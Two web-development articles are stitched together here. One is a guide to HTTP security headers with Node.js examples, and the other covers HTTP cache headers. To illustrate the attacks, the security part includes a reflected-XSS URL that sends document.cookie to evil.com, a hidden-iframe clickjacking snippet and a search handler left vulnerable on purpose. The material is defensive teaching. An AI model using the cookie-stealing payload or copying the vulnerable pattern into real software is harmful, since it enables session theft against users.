http cache + security headers
complete guide


Security HeadersCache Headers

https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/

About HTTP Headers

Technically, HTTP headers are simply fields, encoded in clear text, that are part of the HTTP request and response message header. They are designed to enable both the HTTP client and server to send and receive meta data about the connection to be established, the resource being requested, as well as the returned resource itself.

 

Plain-text HTTP response headers can be examined easily using cURL, with the –head option, like so:

$ curl --head https://www.google.com
HTTP/1.1 200 OK
Date: Thu, 05 Jan 2017 08:20:29 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Transfer-Encoding: chunked
Accept-Ranges: none
Vary: Accept-Encoding
…

Today, hundreds of headers are used by web apps, some standardized by the Internet Engineering Task Force (IETF), the open organization that is behind many of the standards that power the web as we know it today, and some proprietary. HTTP headers provide a flexible and extensible mechanism that enables the rich and varying use cases found on the web today.

Disabling Caching Of Confidential Resources

Caching is a valuable and effective technique for optimizing performance in client-server architectures, and HTTP, which leverages caching extensively, is no exception. However, in cases where the cached resource is confidential, caching can lead to vulnerabilities — and must be avoided. As an example, consider a web app that renders and caches a page with sensitive information and is being used on a shared PC. Anyone can view confidential information rendered by that web app simply by visiting the browser’s cache, or sometimes even as easily as clicking the browser’s “back” button!

The IETF’s RFC 7234, which defines HTTP caching, specifies the default behavior of HTTP clients, both browsers and intermediary Internet proxies, to always cache responses to HTTP GET requests — unless specified otherwise. While this enables HTTP to boost performance and reduce network congestion, it could also expose end users to theft of personal information, as mentioned above. The good news is that the HTTP specification also defines a pretty simple way to instruct clients not to cache a given response, through the use of — you guessed it! — HTTP response headers.

There are three headers to return when you are returning sensitive information and would like to disable caching by HTTP clients:

  • Cache-Control This response header, introduced in HTTP 1.1, may contain one or more directives, each carrying a specific caching semantic, and instructing HTTP clients and proxies on how to treat the response being annotated by the header. My recommendation is to format the header as follows: cache-control: no-cache, no-store, must-revalidate. These three directives pretty much instruct clients and intermediary proxies not to use a previously cached response, not to store the response, and that even if the response is somehow cached, the cache must be revalidated on the origin server.
  • Pragma: no-cache For backwards-compatibility with HTTP 1.0, you will want to include this header as well. Some HTTP clients, especially intermediary proxies, still might not fully support HTTP 1.1 and so will not correctly handle the Cache-Control header mentioned above. Use Pragma: no-cache to ensure that these older clients do not cache your response.
  • Expires: -1 This header specifies a timestamp after which the response is considered stale. By specifying -1, instead of an actual future time, you ensure that clients immediately treat this response as stale and avoid caching.

Note that, while disabling caching enhances the security of your web app and helps to protect confidential information, is does come at the price of a performance hit. Make sure to disable caching only for resources that actually require confidentiality and not just for any response rendered by your server! For a deeper dive into best practices for caching web resources, I highly recommend reading Jake Archibald’s post on the subject.

Here’s how you would program these headers in Node.js:

function requestHandler(req, res) {
    res.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate');
    res.setHeader('Pragma','no-cache');
    res.setHeader('Expires','-1');
}

Enforcing HTTPS

Today, the importance of HTTPS is widely recognized by the tech community. More and more web apps configure secured endpoints and are redirecting unsecure traffic to secured endpoints (i.e. HTTP to HTTPS redirects). Unfortunately, end users have yet to fully comprehend the importance of HTTPS, and this lack of comprehension exposes them to various man-in-the-middle (MitM) attacks. The typical user navigates to a web app without paying much attention to the protocol being used, be it secure (HTTPS) or unsecure (HTTP). Moreover, many users will just click past browser warnings when their browser presents a certificate error or warning!

The importance of interacting with web apps over a valid HTTPS connection cannot be overstated: An unsecure connection exposes the user to various attacks, which could lead to cookie theft or worse. As an example, it is not very difficult for an attacker to spoof network frames within a public Wi-Fi network and to extract the session cookies of users who are not using HTTPS. To make things even worse, even users interacting with a web app over a secured connection may be exposed to downgrade attacks, which try to force the connection to be downgraded to an unsecure connection, thus exposing the user to MitM attacks.

How can we help users avoid these attacks and better enforce the usage of HTTPS? Enter the HTTP Strict Transport Security (HSTS) header. Put simply, HSTS makes sure all communications with the origin host are using HTTPS. Specified in RFC 6797, HSTS enables a web app to instruct browsers to allow only HTTPS connections to the origin host, to internally redirect all unsecure traffic to secured connections, and to automatically upgrade all unsecure resource requests to be secure.

HSTS directives include the following:

  • max-age=<number of seconds> This instructs the browser to cache this header, for this domain, for the specified number of seconds. This can ensure tightened security for a long duration!
  • includeSubDomains This instructs the browser to apply HSTS for all subdomains of the current domain. This can be useful to cover all current and future subdomains you may have.
  • preload This is a powerful directive that forces browsers to always load your web app securely, even on the first hit, before the response is even received! This works by hardcoding a list of HSTS preload-enabled domains into the browser’s code. To enable the preloading feature, you need to register your domain with HSTS Preload List Submission, a website maintained by Google’s Chrome team. Once registered, the domain will be prebuilt into supporting browsers to always enforce HSTS. The preload directive within the HTTP response header is used to confirm registration, indicating that the web app and domain owner are indeed interested in being on the preload list.

A word of caution: using the preload directive also means it cannot be easily undone, and carries an update lead time of months! While preload certainly improves your app’s security, it also means you need to be fully confident your app can support HTTPS-only!

My recommendation is to use Strict-Transport-Security: max-age=31536000; includeSubDomains; which instructs the browser to enforce a valid HTTPS connection to the origin host and to all subdomains for a year. If you are confident that your app can handle HTTPS-only, I would also recommend adding the preload directive, in which case don’t forget to register your website on the preload list as well, as noted above!

Here’s what implementing HSTS looks like in Node.js:

function requestHandler(req, res) {
    res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload');
}

Enabling XSS Filtering

In a reflected cross-site scripting attack (reflected XSS), an attacker injects malicious JavaScript code into an HTTP request, with the injected code “reflected” in the response and executed by the browser rendering the response, enabling the malicious code to operate within a trusted context, accessing potentially confidential information such as session cookies. Unfortunately, XSS is a pretty common web app attack, and a surprisingly effective one!

To understand a reflected XSS attack, consider the Node.js code below, rendering mywebapp.com, a mock and intentionally simple web app that renders search results alongside the search term requested by the user:

function handleRequest(req, res) {
    res.writeHead(200);

    // Get the search term
    const parsedUrl = require('url').parse(req.url);
    const searchTerm = decodeURI(parsedUrl.query);
    const resultSet = search(searchTerm);

    // Render the document
    res.end(
        "<html>" +
            "<body>" +
                "<p>You searched for: " + searchTerm + "</p>" +
                // Search results rendering goes here…
            "</body>" +
        "</html>");
};

Now, consider how will the web app above handle a URL constructed with malicious executable code embedded within the URL, such as this:

https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>

As you may realize, this URL will make the browser run the injected script and send the user’s cookies, potentially including confidential session cookies, to evil.com!

To help protect users against reflective XSS attacks, some browsers have implemented protection mechanisms. These mechanisms try to identify these attacks by looking for matching code patterns in the HTTP request and response. Internet Explorer was the first browser to introduce such a mechanism with its XSS filter, introduced in Internet Explorer 8 back in 2008, and WebKit later introduced XSS Auditor, available today in Chrome and Safari. (Firefox has no similar mechanism built in, but users can use add-ons to gain this functionality.) These various protection mechanisms are not perfect: They may fail to detect a real XSS attack (a false negative), and in other cases may block legitimate code (a false positive). Due to the latter, browsers allow users to disable the XSS filter via the settings. Unfortunately, this is typically a global setting, which turns off this security feature completely for all web apps loaded by the browser.

Luckily, there is a way for a web app to override this configuration and ensure that the XSS filter is turned on for the web app being loaded by the browser. This is done via the X-XSS-Protection header. This header, supported by Internet Explorer (from version 8), Edge, Chrome and Safari, instructs the browser to turn on or off the browser’s built-in protection mechanism and to override the browser’s local configuration.

X-XSS-Protection directives include these:

  • 1 or 0 This enables or disables the filter.
  • mode=block This instructs the browser to prevent the entire page from rendering when an XSS attack is detected.

I recommend always turning on the XSS filter, as well as block mode, to maximize user protection. Such a response header looks like this:

X-XSS-Protection: 1; mode=block
  • Shopify Partners

    Earn recurring revenue designing and developing eCommerce stores

    SIGN UP FOR FREE

Here’s how you would configure this response header in Node.js:

function requestHandler(req, res) {
    res.setHeader('X-XSS-Protection','1;mode=block');
}

Controlling Framing

An iframe (or HTML inline frame element, if you want to be more formal) is a DOM element that allows a web app to be nested within a parent web app. This powerful element enables some important web use cases, such as embedding third-party content into web apps, but it also has significant drawbacks, such as not being SEO-friendly and not playing nice with browser navigation — the list goes on.

One of the caveats of iframes is that it makes clickjacking easier. Clickjacking is an attack that tricks the user into clicking something different than what they think they’re clicking. To understand a simple implementation of clickjacking, consider the HTML markup below, which tries to trick the user into buying a toaster when they think they are clicking to win a prize!

<html>
  <body>
    <button class='some-class'>Win a Prize!</button>
    <iframe class='some-class' style='opacity: 0;’ src='http://buy.com?buy=toaster'></iframe>
  </body>
</html>

Clickjacking has many malicious applications, such as tricking the user into confirming a Facebook like, purchasing an item online and even submitting confidential information. Malicious web apps can leverage iframes for clickjacking by embedding a legitimate web app inside their malicious web app, rendering the iframe invisible with the opacity: 0 CSS rule, and placing the iframe’s click target directly on top of an innocent-looking button rendered by the malicious web app. A user who clicks the innocent-looking button will trigger a click on the embedded web app — without at all knowing the effect of their click.

An effective way to block this attack is by restricting your web app from being framed. X-Frame-Options, specified in RFC 7034, is designed to do exactly that! This header instructs the browser to apply limitations on whether your web app can be embedded within another web page, thus blocking a malicious web page from tricking users into invoking various transactions on your web app. You can either block framing completely using the DENY directive, whitelist specific domains using the ALLOW-FROM directive, or whitelist only the web app’s origin using the SAMEORIGIN directive.

My recommendation is to use the SAMEORIGIN directive, which enables iframes to be leveraged for apps on the same domain — which may be useful at times — and which maintains security. This recommended header looks like this:

X-Frame-Options: SAMEORIGIN

Here’s an example of a configuration of this header to enable framing on the same origin in Node.js:

function requestHandler(req, res) {
    res.setHeader('X-Frame-Options','SAMEORIGIN');
}

Explicitly Whitelisting Sources

As we’ve noted earlier, you can add in-depth security to your web app by enabling the browser’s XSS filter. However, note that this mechanism is limited, is not supported by all browsers (Firefox, for instance, does not have an XSS filter) and relies on pattern-matching techniques that can be tricked.

Another layer of in-depth protection against XSS and other attacks can be achieved by explicitly whitelisting trusted sources and operations — which is what Content Security Policy (CSP) enables web app developers to do.

CSP is a W3C specification that defines a powerful browser-based security mechanism, enabling granular control over resource-loading and script execution in a web app. With CSP, you can whitelist specific domains for operations such as script-loading, AJAX calls, image-loading and style sheet-loading. You can enable or disable inline scripts or dynamic scripts (the notorious eval) and control framing by whitelisting specific domains for framing. Another cool feature of CSP is that it allows you to configure a real-time reporting target, so that you can monitor your app in real time for CSP blocking operations.

This explicit whitelisting of resource loading and execution provides in-depth security that in many cases will fend off attacks. For example, by using CSP to disallow inline scripts, you can fend off many of the reflective XSS attack variants that rely on injecting inline scripts into the DOM.

CSP is a relatively complex header, with a lot of directives, and I won’t go into the details of the various directives. HTML5 Rocks has a great tutorial that provides an overview of CSP, and I highly recommend reading it and learning how to use CSP in your web app.

Here’s a simple example of a CSP configuration to allow script-loading from the app’s origin only and to block dynamic script execution (eval) and inline scripts (as usual, on Node.js):

function requestHandler(req, res) {
    res.setHeader('Content-Security-Policy',"script-src 'self'");
}

Preventing Content-Type Sniffing

In an effort to make the user experience as seamless as possible, many browsers have implemented a feature called content-type sniffing, or MIME sniffing. This feature enables the browser to detect the type of a resource provided as part of an HTTP response by “sniffing” the actual resource bits, regardless of the resource type declared through the Content-Type response header. While this feature is indeed useful in some cases, it introduces a vulnerability and an attack vector known as a MIME confusion attack. A MIME-sniffing vulnerability enables an attacker to inject a malicious resource, such as a malicious executable script, masquerading as an innocent resource, such as an image. With MIME sniffing, the browser will ignore the declared image content type, and instead of rendering an image will execute the malicious script.

Luckily, the X-Content-Type-Options response header mitigates this vulnerability! This header, introduced in Internet Explorer 8 back in 2008 and currently supported by most major browsers (Safari is the only major browser not to support it), instructs the browser not to use sniffing when handling fetched resources. Because X-Content-Type-Options was only formally specified as part of the “Fetch” specification, the actual implementation varies across browsers; some (Internet Explorer and Edge) completely avoid MIME sniffing, whereas others (Firefox) still MIME sniff but rather block executable resources (JavaScript and CSS) when an inconsistency between declared and actual types is detected. The latter is in line with the latest Fetch specification.

X-Content-Type-Options is a simple response header, with only one directive: nosniff. This header looks like this: X-Content-Type-Options: nosniff. Here’s an example of a configuration of the header:

function requestHandler(req, res) {
    res.setHeader('X-Content-Type-Options','nosniff');
}

Summary

In this article, we have seen how to leverage HTTP headers to reinforce the security of your web app, to fend off attacks and to mitigate vulnerabilities.

TAKEAWAYS

  • Disable caching for confidential information using the Cache-Control header.
  • Enforce HTTPS using the Strict-Transport-Security header, and add your domain to Chrome’s preload list.
  • Make your web app more robust against XSS by leveraging the X-XSS-Protection header.
  • Block clickjacking using the X-Frame-Options header.
  • Leverage Content-Security-Policy to whitelist specific sources and endpoints.
  • Prevent MIME-sniffing attacks using the X-Content-Type-Options header.

Remember that for the web to be truly awesome and engaging, it has to be secure. Leverage HTTP headers to build a more secure web!

https://www.keycdn.com/blog/http-cache-headers

HTTP Cache Headers – A Complete Guide

This article highlights important information on HTTP caching headers and associated CDN behavior. In case you are looking for in-depth information on the role of HTTP cache headers in the modern web, here's everything you need to know.

HTTP cache headers explained#

Caches work with content mainly through freshness and validation. A fresh representation is available instantly from a cache while a validated representation rarely sends the entire representation again if it hasn't changed. In cases where there is no validator present (e.g. ETag or Last-Modified header), and a lack of explicit freshness info, it will usually (but not always) be considered uncacheable. Let's shift our focus to the kind of headers you should be concerned about.

1. Cache-Control#

Every resource can define its own caching policy via the Cache-Control HTTP header. Cache-Control directives control who caches the response, under what conditions and for how long.

Requests that don't need server communication are considered the best requests: local copies of the responses allow the elimination of network latency as well as data charges resulting from data transfers. The HTTP specification enables the server to send several different Cache-Control directives which control how and for how long individual responses are cached by browsers among other intermediate caches such as a CDN.

Cache-Control: private, max-age=0, no-cache

These settings are referred to as response directives. They are as follows:

public vs private#

A response that is marked public can be cached even in cases where it is associated with an HTTP authentication or the HTTP response status code is not cacheable normally. In most cases, a response marked public isn't necessary, since explicit caching information (e.g. max-age) shows that a response is cacheable anyway.

On the contrary, a response marked private can be cached (by the browser) but such responses are typically intended for single users hence they aren't cacheable by intermediate caches (e.g. HTML pages with private user info can be cached by a user's browser but not by a CDN).

no-cache and no-store

no-cache shows that returned responses can't be used for subsequent requests to the same URL before checking if server responses have changed. If a proper ETag (validation token) is present as a result, no-cache incurs a roundtrip in an effort to validate cached responses. Caches can however eliminate downloads if the resources haven't changed. In other words, web browsers might cache the assets but they have to check on every request if the assets have changed (304 response if nothing has changed).

On the contrary, no-store is simpler. This is the case because it disallows browsers and all intermediate caches from storing any versions of returned responses, such as responses containing private/personal information or banking data. Every time users request this asset, requests are sent to the server. The assets are downloaded every time.

max-age#

The max-age directive states the maximum amount of time in seconds that fetched responses are allowed to be used again (from the time when a request is made). For instance, max-age=90 indicates that an asset can be reused (remains in the browser cache) for the next 90 seconds.

s-maxage#

The "s-" stands for shared as in shared cache. This directive is explicitly for CDNs among other intermediary caches. This directive overrides the max-age directive and expires header field when present. KeyCDN also obeys this directive.

must-revalidate#

The must-revalidate directive is used to tell a cache that it must first revalidate an asset with the origin after it becomes stale. The asset must not be delivered to the client without doing an end-to-end revalidation. In short, stale assets must first be verified and expired assets should not be used.

proxy-revalidate#

The proxy-revalidate directive is the same as the must-revalidate directive, however, it only applies to shared caches such as proxies. It is useful in the event that a proxy services many users that need to be authenticated one by one. A response to an authenticated request can be stored in the user's cache without needing to revalidate it each time as they are known and have already been authenticated. However, proxy-revalidate allows proxies to still revalidate for new users that have not been authenticated yet.

no-transform#

The no-transform directive tells any intermediary such as a proxy or cache server to not make any modifications whatsoever to the original asset. The Content-Encoding, Content-Range, and Content-Type headers must remain unchanged. This can occur if a non-transparent proxy decides to make modifications to assets in order to save space. However, this can cause serious problems in the event that the asset must remain identical to the original entity-body although must also pass through the proxy.

According to Google, the Cache-Control header is all that's needed in terms specifying caching policies. Other methods are available which we'll go over in this article, however, are not required for optimal performance.

The Cache-Control header is defined as part of HTTP/1.1 specifications and supersedes previous headers (e.g. Expires) used to specify response caching policies. Cache-Control is supported by all modern browsers so that's all we need.

2. Pragma#

The old Pragma header accomplishes many things most of them characterized by newer implementations. We are however most concerned with the Pragma: no-cache directive which is interpreted by newer implementations as Cache-Control: no-cache. You don't need to be concerned about this directive because it's a request header which will be ignored by KeyCDN's edge servers. It is however important to be aware of the directive for the overall understanding. Going forward, there won't be new HTTP directives defined for Pragma.

3. Expires#

A couple of years back, this was the main way of specifying when assets expire. Expires is simply a basic date-time stamp. It's fairly useful for old user agents which still roam unchartered territories. It is, however, important to note that Cache-Control headers, max-age and s-maxage still take precedence on most modern systems. It's however good practice to set matching values here for the sake of compatibility. It's also important to ensure you format the date properly or it might be considered as expired.

Expires: Sun, 03 May 2015 23:02:37 GMT

To avoid breaking the specification, avoid setting the date value to more than a year.

4. Validators#

ETag#

This type of validation token (the standard in HTTP/1.1):

  • Is communicated via the ETag HTTP header (by the server).
  • Enables efficient resource updates where no data is transfered if the resource doesn't change.

The following example will illustrate this. 90 seconds after the initial fetch of an asset, initiates the browser a new request (the exact same asset). The browser looks up the local cache and finds the previously cached response but cannot use it because it's expired. This is the point where the browser requests the full content from the server. The problem with it this is that if the resource hasn't changed, there is absolutely no reason for downloading the same asset that is already in the CDN cache.

Validation tokens are solving this problem. The edge server creates and returns arbitrary tokens, that are stored in the ETag header field, which are typically a hash or other fingerprints of content of existing files. Clients don't need to know how the tokens are generated but need to send them to the server on subsequent requests. If the tokens are the same then resources haven't changed thus downloads can be skipped.

The web browser provides the ETag token automatically within the If-None-Match HTTP request header. The server then checks tokens against current assets in the cache. A 304 Not Modified response will tell the browser if an asset in the cache hasn't been changed and therefore allowing a renewal for another 90 seconds. It's important to note that these assets don't need to be downloaded again which saves bandwidth and time.

How do web developers benefit from efficient revalidation?#

Browsers do most (if not) all the work for web developers. For instance, they automatically detect if validation tokens have been previously specified and appending them to outgoing requests and updating cache timestamps as required based on responses from servers. Web developers are therefore left with one job only which is ensuring servers provide the required ETag tokens. KeyCDN's edge servers fully support the ETag header.

Last-Modified#

The Last-Modified header indicates the time a document last changed which is the most common validator. It can be seen as a legacy validator from the time of HTTP/1.0. When a cache stores an asset including a Last-Modified header, it can utilize it to query the server if that representation has changed over time (since it was last seen). This can be done using an If-Modified-Since request header field.

An HTTP/1.1 origin server should send both, the ETag and the Last-Modified value. More details can be found in section 13.3.4 in the RFC2616.

KeyCDN example response header:

HTTP/1.1 200 OK
Server: keycdn-engine
Date: Mon, 27 Apr 2015 18:54:37 GMT
Content-Type: text/css
Content-Length: 44660
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 08 Dec 2014 19:23:51 GMT
ETag: "5485fac7-ae74"
Cache-Control: max-age=533280
Expires: Sun, 03 May 2015 23:02:37 GMT
X-Cache: HIT
X-Edge-Location: defr
Access-Control-Allow-Origin: *
Accept-Ranges: bytes

You can check your HTTP Cache Headers using KeyCDN's HTTP Header Checker tool.

5. Extension Cache-Control directives#

Apart from the well-known Cache-Control directives outlined in the first section of this article, there also exists other directives which can be used as extensions to Cache-Control resulting in a better user experience for your visitors.

immutable#

No conditional revalidation will be triggered even if the user explicitly refreshes a page. The immutable directive tells the client that the response body will not change over time, therefore, there is no need to check for updates as long as it is unexpired.

stale-while-revalidate#

The stale-while-revalidate directive allows for a stale asset to be served while it is revalidated in the background.

A stale-while-revalidate value is defined to tell the cache that it has a certain amount of time to validate the asset in the background while continuing to deliver the stale one. An example of this would look like the following:

Cache-Control: max-age=2592000, stale-while-revalidate=86400

Learn more about the stale-while-revalidate directive in our .

stale-if-error#

The stale-if-error directive is very similar to the stale-while-revalidate directive in that it serves stale content when the max-age expires. However, the stale-if-error only returns stale content if the origin server returns an error code (e.g. 500, 502, 503, or 504) when the cache attempts to revalidate the asset.

Therefore, instead of showing visitors an error page, stale content is delivered to them for a predefined period of time. During this time it is the goal that the error has been resolved and that the asset can be revalidated.

Learn more about the stale-if-error directive in our .

KeyCDN and HTTP cache headers#

KeyCDN allows you define your HTTP cache headers as you see fit. The ability to set the Expire and Max Expire values directly within the dashboard makes it very easy to configure things on the CDN side.

Furthermore, if you rather have even more control over your HTTP cache headers you can disable the Ignore Cache Control feature in your Zone settings and have KeyCDN honor all of your cache headers from the origin. This is very useful in the event that you need to exclude a certain asset or group of assets from the CDN.

TL;DR#

The Cache-Control (in particular), along with the ETag header field are modern mechanisms to control freshness and validity of your assets. The other values are only used for backward compatibility.

Do you have any thoughts on using HTTP cache headers? If so we would love to hear them below in the comments.

Scroll to Top